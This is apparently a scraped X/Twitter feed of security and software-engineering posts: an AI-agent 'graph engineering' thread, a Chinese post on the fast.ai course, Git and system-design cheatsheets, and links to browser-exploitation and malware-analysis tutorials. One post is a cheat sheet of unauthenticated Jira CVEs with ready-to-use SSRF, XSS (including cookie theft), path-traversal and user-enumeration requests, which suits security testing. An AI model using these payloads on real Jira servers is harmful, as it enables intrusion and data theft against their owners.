@x0mg

CTFer (Web Pwn) w @Shellphish / MS @ASU / Malware analysis / Pententration

[codila @0xCodila]

Two Anthropic seniors just made Karpathy's loop 1000x better with "Graph Engineering" - dropped 11-page PDF

the shift: the agentic systems got 1000x better the moment you wired agents into a graph

here's the playbook in 6 steps:

step 1 → build one loop: generate, critique, revise - one self-review cycle beats a smarter model with none

step 2 → add tools: search, code execution, database - thinking without tools is hallucinating

step 3 → go parallel: spin up agents in separate worktrees - same repo, different branches, no conflicts

step 4 → add a graph: agents write findings as typed nodes and edges - not transcripts - every claim keeps its source

step 5 → ground your evaluator: it checks claims against graph edges, not vibes - "Triple not found" beats "seems off"

step 6 → the graph survives every session - your agents stop rebuilding context from scratch

the result: Karpathy ran 1 agent in 1 direction - this system runs 1,000 with shared memory - same model, it's the architecture

read this 11-page PDF and paste it into your Claude - you won't regret it

bookmark - then read the article on building graphs from scratch ↓

[Muqsit 𝕏 @mqst_]

🌏 Browser Exploitation 101: A Series of Blog posts for anyone interested in Chrome Browser Exploitation.

Part 1: https://t.co/2MyvKCeU3k
Part 2: https://t.co/ouhLfrY74O
Part 3: https://t.co/hAsE5UIpDZ

author: @jack_halon

#infosec

[墓碑科技 @mubeitech]

一个拿过两次全球第一的机器学习大神，看了一眼大学里教 AI 的方式，觉得这帮教授全搞反了。

大学教 AI，喜欢先筑基：
微积分、线性代数、概率论，一啃就是一两年。
等学生终于见到真正的神经网络时，脑子早就被公式格式化了。
至于怎么把模型部署到服务器上？
对不起，那是工程问题，学校不教。

这位大神觉得，这就像学棒球先学三年流体力学，纯属折腾人。
学 AI，应该像学写代码或者学骑车：
先跨上去，把车骑走，摔倒了，再来琢磨重心在哪。

于是，他做了一门完全免费的课程：https://t.co/TkGmf193P4（《Practical Deep Learning for Coders》）。
没有任何学院派的花架子。
它不设繁琐的高数门��，只要你有一点最基础的���程经验，就能开始。

它的授课逻辑是“自顶向下”。
第一节课，不推公式，直接教你用 PyTorch、fastai 和 Hugging Face 跑通一个图像分类模型，并且部署上线。
先让你看到：这东西不仅能用，而且我也能做出来。

有了这个正向反馈，再往深了刨：
神经网络底层是怎么进行矩阵乘法的？
Stable Diffusion 到底是怎么一步步降噪生成图片的？
反向传播（Backpropagation）又是怎么更新权重的？

看一眼他们的教学大纲就知道有多务实：
第一部分，全是实战，连“数据伦理”和“模型部署”这种学校里极少提、但工作里天天踩坑的细节都包进去了。
第二部分，才是带你硬核手撕底层，从零手写 Stable Diffusion。

在这个人人都想靠卖 AI 课割韭菜的时代，https://t.co/TkGmf193P4 始终免费，没有广告。
这不只是一门课，这是一场对学术精英主义的“物理超度”。
它向所有人证明了：在 AI 时代，动手构建并交付产品的能力，永远比那一纸名校的学术头衔更管用。

[slash1s @slash1sol]

THE CO-FOUNDER OF GITHUB GAVE A 46-MINUTE TALK ON GIT BECAUSE ENGINEERS WITH 10 YEARS IN HAVE NEVER SEEN HALF OF WHAT IT DOES

This is Scott Chacon. He wrote Pro Git -- the book most devs secretly learned Git from and he co-founded GitHub. So when he says you're missing things, you're missing things.

About ten minutes in it clicks: half the "git disasters" you've ever fixed by deleting the folder and re-cloning had a one-line solution sitting in the tool the whole time.

Git ships new code almost every day -> roughly nine commits a day for over a decade. Most of us stopped learning it the second we memorized add, commit, push.

Knowing Git isn't a senior-dev flex anymore -> it's the floor. The agent writes the code now. Your real job is reading, branching, and untangling the history it leaves behind.

The day an AI agent force-pushes over your main branch, these 46 minutes are the difference between a quiet fix and a very loud apology.

Save it now.

You'll reach for it sooner than you'd like ↓

[Zion Leonahenahe Basque @mahal0z]

Binary hacking is something of an art, and AI has been getting significantly better at it. But do the limitations of our foundational tools, like decompilers, limit their ability to hack? Check out my talk that is now public on the topic:
https://t.co/m1RGrkFTKM

[Swissky @pentest_swissky]

How I Found Open-Source 0-days with an LLM Multi-Agent Workflow - Hyunseo Shin
https://t.co/WASkY7Q47C

[Raul Junco @RaulJuncoV]

Choosing the right architecture will make or break your systems.

EDA vs. REST a Simple Cheatsheet.

𝗘𝘃𝗲𝗻𝘁-𝗗𝗿𝗶𝘃𝗲𝗻 𝗔𝗿𝗰𝗵𝗶𝘁𝗲𝗰𝘁𝘂𝗿𝗲 (𝗘𝗗𝗔)

EDA uses asynchronous communication, where components interact by emitting and consuming events.

This design is particularly effective for systems that demand high scalability, real-time responsiveness, and loose coupling among services.

𝗥𝗲𝗽𝗿𝗲𝘀𝗲𝗻𝘁𝗮𝘁𝗶𝗼𝗻𝗮𝗹 𝗦𝘁𝗮𝘁𝗲 𝗧𝗿𝗮𝗻��𝗳𝗲𝗿 (𝗥𝗘𝗦𝗧)

It is a popular choice for building web services that require synchronous, request-response communication over HTTP.

It's ideal for applications where strong consistency, simplicity, and standard CRUD operations are necessary.

However, REST can face challenges in scenarios requiring near real-time communication or scaling dynamically.

Even more important, these architectures are not mutually exclusive.

Many modern systems benefit from a hybrid approach,

Choose wisely!

[s1r1us @S1r1u5_]

I pointed claude opus at chrome and told it to build a full v8 exploit for discord.

A week of back-and-forth pulling it out of dead ends. 2.3B tokens. $2,283 in API costs, and it popped a shell.

https://t.co/vwj9d33Bvq

[clibm079 @clibm079]

Malware Analysis Tutorials: a Reverse Engineering Approach
https://t.co/6x2aoJx9NC

[Raul Junco @RaulJuncoV]

35 practical thoughts on system design

Core Principles

1. Every system is a trade-off -> you never get speed, cost, and simplicity all at once.
2. Latency compounds -> every millisecond added across layers adds up to user pain.
3. Scalability ≠ performance -> one handles growth, the other handles speed.
4. Read vs. write paths -> scaling each requires completely different strategies.
5. Design for change, not perfection -> requirements will shift.

Databases & Storage

6. Indexes are levers -> high-selectivity columns are worth indexing, low ones often aren’t.
7. Replication helps reads, partitioning helps writes -> don’t confuse the two.
8. Dual writes are a lie -> without coordination, you will see drift.
9. Event stores > queues (sometimes) -> better traceability, worse simplicity.
10. Cache invalidation is still the hardest problem -> freshness vs. performance is the eternal fight.

Reliability & Consistency

11. Idempotency saves you -> retries without it will hurt.
12. Fail fast, fail loud -> silent failures sink systems.
13. Eventual consistency is a feature -> not a bug, but only if the business allows it.
14. Conflict resolution in active-active is business logic, not infra.
15. Durability isn’t free -> syncing across regions has cost and latency.

Architecture Patterns

16. Microservices are an org structure, not a tech goal.
17. Monolith first, modular second, microservices last -> don’t jump too early.
18. Choreography scales, orchestration simplifies -> pick based on team maturity.
19. Serverless buys you focus, costs you control.
20. Queues don’t remove work, they smooth it.

Observability & Operations

21. Tracing > logging -> logs tell you “what”, traces tell you “why”.
22. Metrics rot without ownership -> measure what someone actually uses.
23. Retries without backoff = DDoS on yourself.
24. Dead-letter queues aren’t optional -> every system has poison messages.
25. Levers > knobs -> design quick kill switches and controls to contain blast radius.

Performance & Cost

26. Optimize the hot path, not the cold path.
27. Most bottlenecks live in the database, not the code.
28. Horizontal scaling beats vertical scaling ->until coordination kills it.
29. Warm caches mask bad queries -> measure against cold starts too.
30. The cheapest resource is disk, the most expensive is time.

People & Process

31. The best architecture dies without documentation.
32. System design reviews aren’t about diagrams, they’re about trade-offs.
33. Small PRs are for speed, big PRs are for context -> balance both.
34. A senior engineer’s role in design is asking the uncomfortable “what if”.
35. No design survives first contact with production -> but good ones bend instead of break.

What else?

[Mr. OS @ksg93rd]

#Offensive_security
#Red_Team_Tactics
Living off the Process
https://t.co/EYffx3VFOM
]-> Full Source Code ready to compile

https://t.co/sHtiLPFQZ9

[Intigriti @intigriti]

Most hackers limit themselves to only using proxy interceptor, repeater, and intruder... 🤠

But these 8 unpopular Burp Suite features can save you hours of testing time (and find you more vulnerabilities)! 🤑

A thread! 🧵👇

[Binni Shah @binitamshah]

Embedded Systems Hacking Roadmap -
A guide to hardware hacking and reverse engineering : https://t.co/wg1nJUYibF credits @wrongbaud

[Avinash Singh @AvinashSingh_20]

Yes, articles can go viral ���

[X @TheMsterDoctor1]

# Unauthenticated Jira CVEs
1. CVE-2017-9506 (SSRF)
```
https://<JIRA_URL>/plugins/servlet/oauth/users/icon-uri?consumerUri=<SSRF_PAYLOAD>
```
2. CVE-2018-20824 (XSS)
```
https://<JIRA_URL>/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)
```
3. CVE-2019-8451 (SSRF)
```
https://<JIRA_URL>/plugins/servlet/gadgets/makeRequest?url=https://<HOST_NAME>:[email protected]
```
4. CVE-2019-8449 (User Information Disclosure)
```
https://<JIRA_URL>/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
```
5. CVE-2019-8442 (Sensitive Information Disclosure)
```
https://<JIRA_URL>/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
```
6. CVE-2019-3403 (User Enumeration)
```
https://<JIRA_URL>/rest/api/2/user/picker?query=<USERNAME_HERE>
```
7. CVE-2020-14181 (User Enumeration)
```
https://<JIRA_URL>/secure/ViewUserHover.jspa?username=<USERNAME>
```
8. CVE-2020-14178 (Project Key Enumeration)
```
https://<JIRA_URL>/browse.<PROJECT_KEY>
```
9. CVE-2020-14179 (Information Disclosure)
```
https://<JIRA_URL>/secure/QueryComponent!Default.jspa
```
10. CVE-2019-11581 (Template Injection)
```
<JIRA_URL>/secure/ContactAdministrators!default.jspa

* Try the SSTI Payloads
```

11.   CVE-2019-3396 (Path Traversal)
```
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Language: en-US,en;q=0.5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Referer: {{Hostname}}
Content-Length: 168
Connection: close

{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://t.co/bDpKYhRrKx","width":"1000","height":"1000","_template":"../web.xml"}}}

*Try above request with the Jira target
```
12.   CVE-2019-3402 (XSS)
```
https://<JIRA_URL>/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search
```

/secure/ConfigurePortalPages!default.jspa?view=popular
/secure/ManageFilters.jspa?filterView=search&Search=Search&filterView=search&sortColumn=favcount&sortAscending=false
/secure/ContactAdministrators!default.jspa
/servicedesk/customer/user/login
/issues/?jql=
/plugins/servlet/oauth/users/icon-uri?consumerUri=https://t.co/863j3iqn7t
/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
/plugins/servlet/gadgets/makeRequest?url=https://victomhost:[email protected]
/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)
/secure/QueryComponent!Default.jspa
/secure/ViewUserHover.jspa
/ViewUserHover.jspa?username=Admin
/rest/api/2/dashboard?maxResults=100
/pages/%3CIFRAME%20SRC%3D%22javascript%3Aalert(‘XSS’)%22%3E.vm
/rest/api/2/user/picker?query=admin
/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
/rest/api/2/user/picker?query=admin
/s/
/plugins/servlet/oauth/users/icon-uri?consumerUri=https://t.co/tgwUow35TQ
/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&Search=Search
ConfigurePortalPages.jspa
/plugins/servlet/Wallboard/?dashboardId=10100&dashboardId=10101&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true

https://t.co/lsasnHqAUy

Reference:
- https://t.co/lBBOnDPBGV

[Mr. OS @ksg93rd]

#reversing
#Kernel_Security
#Sec_code_review
Exploiting Reversing (ER) series:
Part 1 - Windows kernel drivers (1) https://t.co/MoAXZ7pHJK
Part 2 - Windows kernel drivers (2) https://t.co/IqZr2h1fuz
Part 3 - Chrome https://t.co/7fsTWqsEmw
Part 4 - macOS/iOS https://t.co/W7VBr9luVF
Part 5 - Hyper-V https://t.co/6LzkwbSrNZ
// step-by-step research series on Windows, macOS, hypervisors and browsers

[Alex Plaskett @alexjplaskett]

Modern iOS Security Features – A Deep Dive by Moritz Steffin and @naehrdine

https://t.co/FRdenEEfqB

[DevopsCube @devopscube]

Most DevOps engineers focus on automation.

But,

DevOps today is much more than CI/CD pipelines.

It is also about understanding how systems actually work and how to design them to survive failures.

In that context,

One concept that every DevOps engineer should know is the Write-Ahead Log (WAL).

We recently shared a short post explaining how WAL works, with simple real-world examples.

👉 𝗥𝗲𝗮𝗱 𝗶𝘁 𝗛𝗲𝗿𝗲: https://t.co/17AjRjHfqO

If you want to see how large-scale systems apply this concept in the real world, Netflix’s data platform is a great example.

They have built their resilient data platform around the WAL principle for data durability even in case of failures.

14000+ DevOps engineers read our Devops newsletter.

We send deep dives, practical tips, and guides straight to your inbox.

Architecture Source: Netflix Tech blog (added in blog)

#devops

[Tech with Mak @techNmak]

My System Design - Cheat sheet

System design is about creating applications that can handle real-world demands.

𝐒𝐲𝐬𝐭𝐞𝐦 𝐃𝐞𝐬𝐢𝐠𝐧 𝐂𝐨𝐦𝐩𝐨𝐧𝐞𝐧𝐭𝐬
📌 𝐍𝐞𝐭𝐰𝐨𝐫𝐤𝐢𝐧𝐠
DNS - Domain Name System (resolvers, nameservers, records)
Load Balancers - Hardware, software, Layer 4, Layer 7
CDNs - Content Delivery Networks (caching, edge servers)
Proxies - Forward, reverse, transparent, anonymous
VPNs - Virtual Private Networks (tunneling protocols)
Firewalls - Packet filtering, stateful inspection
NAT - Network Address Translation
Gateways - Connect different networks
Routers - Direct traffic between networks

📌 𝐒𝐭𝐨𝐫𝐚𝐠𝐞
Databases - SQL, NoSQL (key-value, document, columnar, graph), NewSQL
Object Storage - Amazon S3, Google Cloud Storage, Azure Blob Storage
Block Storage - Network-attached storage (NAS), storage area networks (SAN)
File Systems - Distributed file systems (HDFS, Ceph), Network File System (NFS)
Caching - Redis, Memcached, Varnish, CDN edge caches

📌 𝐂𝐨𝐦𝐩𝐮𝐭𝐞
Servers - Bare metal, virtual machines (VMs)
Containers - Docker, Kubernetes, container orchestration
Serverless - AWS Lambda, Azure Functions, Google Cloud Functions
FaaS - Function-as-a-Service
PaaS - Platform-as-a-Service

📌 𝐂𝐨𝐦𝐦𝐮𝐧𝐢𝐜𝐚𝐭𝐢𝐨𝐧
APIs - REST, GraphQL, SOAP, gRPC
Message Queues - RabbitMQ, Kafka, ActiveMQ, Amazon SQS
WebSockets - Real-time, full-duplex communication
RPC - Remote Procedure Call, XML-RPC, JSON-RPC
Pub/Sub - Publish-subscribe messaging pattern
Service Mesh - Istio, Linkerd

📌 𝐀𝐫𝐜𝐡𝐢𝐭𝐞𝐜𝐭𝐮𝐫𝐚𝐥 ��𝐚𝐭𝐭𝐞𝐫𝐧𝐬
Microservices - Domain-driven design (DDD), service discovery, API gateways
Monolithic - Layered architecture, MVC, MVP
Event-driven - Event sourcing, CQRS
Serverless - FaaS, BaaS (Backend-as-a-Service)

📌 𝐒𝐜𝐚𝐥𝐚𝐛𝐢𝐥𝐢𝐭𝐲 & 𝐑𝐞𝐥𝐢𝐚𝐛𝐢𝐥𝐢𝐭𝐲
Horizontal Scaling - Load balancers, auto-scaling groups
Vertical Scaling - Larger instances, more resources
Replication - Master-slave, master-master
Sharding - Partitioning data across multiple databases
Redundancy - Multiple instances, failover mechanisms
Fault Tolerance - Graceful degradation, circuit breakers
Disaster Recovery - Backups, replication, geo-redundancy

📌 𝐒𝐞𝐜𝐮𝐫𝐢𝐭𝐲
Authentication - Multi-factor authentication (MFA), single sign-on (SSO), OAuth, OpenID Connect
Authorization - Role-based access control (RBAC), Attribute-based access control (ABAC)
Encryption - Symmetric, asymmetric, hashing algorithms
Security Protocols - TLS/SSL, HTTPS, SSH
Web Application Firewalls (WAF) - Protect against web attacks
Intrusion Detection Systems (IDS) - Identify malicious activity

📌 𝐎𝐛𝐬𝐞𝐫𝐯𝐚𝐛𝐢𝐥𝐢𝐭𝐲
Monitoring - Prometheus, Grafana, Datadog, New Relic
Logging - ELK Stack (Elasticsearch, Logstash, Kibana), Splunk
Tracing - Distributed tracing (Jaeger, Zipkin)
Metrics - Counters, gauges, histograms, summaries
APM - Application Performance Monitoring (Dynatrace, AppDynamics)

📌 Follow - @techNmak

[devansh ⚡️ @0xAsm0d3us]

Some raw thoughts. On Learning - avoiding mediocrity